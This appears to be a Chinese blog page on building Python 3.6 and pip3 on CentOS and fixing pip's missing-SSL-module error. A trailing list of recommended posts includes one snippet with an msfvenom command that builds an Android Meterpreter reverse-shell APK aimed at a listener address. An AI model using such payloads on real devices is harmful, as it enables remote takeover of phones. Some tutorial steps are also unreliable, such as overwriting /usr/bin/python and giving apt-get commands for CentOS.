python3安装前,最好先安装下依赖包:
yum install -y openssl-devel
yum install -y openssl
yum install -y zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel
$ yum install gcc -y
$ yum install zlib zlib-devel -y
 
$ wget https://www.python.org/ftp/python/3.6.2/Python-3.6.2rc1.tgz
$ tar zxvf Python-3.6.2rc1.tgz
$ cd Python-3.6.2rc1/
把Python3.6安装到 /usr/local 目录
$ ./configure --prefix=/usr/local
$ make
$ make install
最后提示:Successfully installed pip-9.0.1 setuptools-28.8.0
$ ln -s /usr/local/bin/python3.6 /usr/bin/python3
$ ln -s /usr/local/bin/python3.6 /usr/bin/python #最好不要把原本的旧版python覆盖掉。
 
在使用pip3.6安装模块的时候出现如下错误。
[root@zabbix Python-3.6.2rc1]# pip install ansible
pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Collecting ansible
Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.",)': /simple/ansible/
Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.",)': /simple/ansible/
Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.",)': /simple/ansible/
Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.",)': /simple/ansible/
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.",)': /simple/ansible/
Could not fetch URL https://pypi.org/simple/ansible/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/ansible/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.",)) - skipping
Could not find a version that satisfies the requirement ansible (from versions: )
No matching distribution found for ansible
pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.",)) - skipping
[root@zabbix Python-3.6.2rc1]#

  

  从错误提示来看是缺少了ssl模块,centos下的解决方案...

yum install openssl
yum install openssl-devel -y

如果还是不行:

1.安装ssl
sudo apt-get install openssl sudo apt-get install libssl-dev 2. 修改Moudles/Setup (该目录在python的解压目录下) vim Modules/Setup
#修改结果如下:
# Socket module helper for socket(2)
_socket socketmodule.c timemodule.c # Socket module helper for SSL support; you must comment out the other
# socket line above, and possibly edit the SSL variable:
#SSL=/usr/local/ssl
_ssl _ssl.c \
-DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \
-L$(SSL)/lib -lssl -lcrypto 3.重新安装一次
./configure --prefix=/usr/local/python
make
make install 4.测试是否SSL可用
python3
>>> import ssl

 python3安装后一般会自带pip3,如果没有,就自己安装:

去https://pypi.org/project/pip/下载最新版的pip-10.0.1.tar.gz

解压tar -xf pip-10.0.1.tar.gz

进入文件夹运行:

python setup.py install

如果实在还是有问题,就重新安装python3.6

python3和pip3安装和问题解决的更多相关文章

  1. python3 与 pip3 安装与使用

    1. yum -y install openssl* (pip依赖ssl环境) 2.编译安装python3 下载地址:https://www.python.org/ftp/python/ .tgz c ...

  2. python3的pip3安装

    ---恢复内容开始--- pip3的安装需要对应一整套python的编译工具库,所以安装好的pip3是这个样子: inear@Ai:~$ pip3 -V pip 18.1 from /usr/lib/ ...

  3. Python3.7 + jupyter安装(CentOS6.5)

    Python3.7 + jupyter安装(CentOS6.5) 方法一(anaconda): anaconda是一个开源的Python发行版本 包含conda,python等大量的科学包以及依赖 优 ...

  4. ubuntu 安装python3.7 以及安装pip3 出现Command '('lsb_release', '-a')' returned non-zero exit status 1问题解决

    最近因为电脑重装,东西全没了,总计一下最近重装环境的过程. 如果没有安装包,请下载: wget http://www.python.org/ftp/python/3.7.0/Python-3.7.0. ...

  5. 环境准备—之—linux下安装python3和pip3

    转自 上海悠悠 https://www.cnblogs.com/yoyoketang/p/10195102.html 前言 centos7 自带有 python,但是却是 python2 版本的 py ...

  6. Python3、setuptools、Pip3安装详解

    Python3.setuptools.Pip3安装详解 2017年08月19日 18:58:47 安静的技术控 阅读数:26002    版权声明:本文为博主原创文章,未经博主允许不得转载. http ...

  7. linux Centos7下安装python3及pip3

    先去python官网下载python3安装包 执行命令:wget https://www.python.org/ftp/python/3.6.5/Python-3.6.5.tgz 安装zlib-dev ...

  8. centos系统下安装python3以及pip3

    首先查看一下系统当前的python版本 python -V 1.安装必要工具 yum-utils 它的功能是管理repository及扩展包的工具yum install yum-utils -y 2. ...

  9. CentOS7下安装Python3及Pip3并保留Python2

    1. 安装依赖环境 # yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline- ...

随机推荐

  1. 2018.09.28 bzoj3688: 折线统计(dp+树状数组)

    传送门 简单树状数组优化dp. 注意到k很小提示我们搜(d)(d)(d)索(p)(p)(p). 先按第一维排序. 用f[i][j][0/1]f[i][j][0/1]f[i][j][0/1]表示第i个点 ...

  2. 2018.09.17 bzoj1260: [CQOI2007]涂色paint(区间dp)

    传送门 区间dp简单题啊. 很显然用f[l][r]f[l][r]f[l][r]表示把区间[l,r][l,r][l,r]按要求染好的代价. 这样可以O(n)O(n)O(n)枚举断点转移了啊. 显然如果断 ...

  3. [可用]android hack

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...

  4. 3) Maven 目录结构

    进入maven根目录 cmd 命令 tree E:. │ LICENSE.txt │ NOTICE.txt │ README.txt │ ├─bin │ m2.conf │ mvn │ mvn.bat ...

  5. NSData与UIImage之间的转换

    1 //NSData转换为UIImage 2 NSData *imageData = [NSData dataWithContentsOfFile: imagePath]; 3 UIImage *im ...

  6. day06(Collection,List,ArrayList,LinkedList,iterator迭代器,增强for)

    Collection   接口    方法实现 boolean  add(Object o);//添加 boolean  remove(Object o);//移除 修改方法   让实现类自己去实现修 ...

  7. 洛谷P2633 Count on a tree(主席树上树)

    题目描述 给定一棵N个节点的树,每个点有一个权值,对于M个询问(u,v,k),你需要回答u xor lastans和v这两个节点间第K小的点权.其中lastans是上一个询问的答案,初始为0,即第一个 ...

  8. Eclipse C++,Cygwin 64,gcov,lcov 单体&覆盖率测试环境搭建笔记

    1.下载并安装 Eclipse IDE for C/C++ Developers https://eclipse.org/downloads/packages/eclipse-ide-cc-devel ...

  9. SQLite3动态库、静态库编译

    资源准备 1.下载SQLite3源码,下载地址为https://www.sqlite.org/download.html.下载sqlite-amalgamation-3200000.zip和sqlit ...

  10. TFS应用层服务器获取F5用户的真实IP地址(高可用性)

    当用户数量达到一定级别(例如2千)以上,为保证TFS系统的持续服务,最大程度减少因系统宕机对研发团队的影响,系统管理员一般会考虑应用层和数据库层的高可用性方案. 在应用层的高可用性方案中,目前比较常见 ...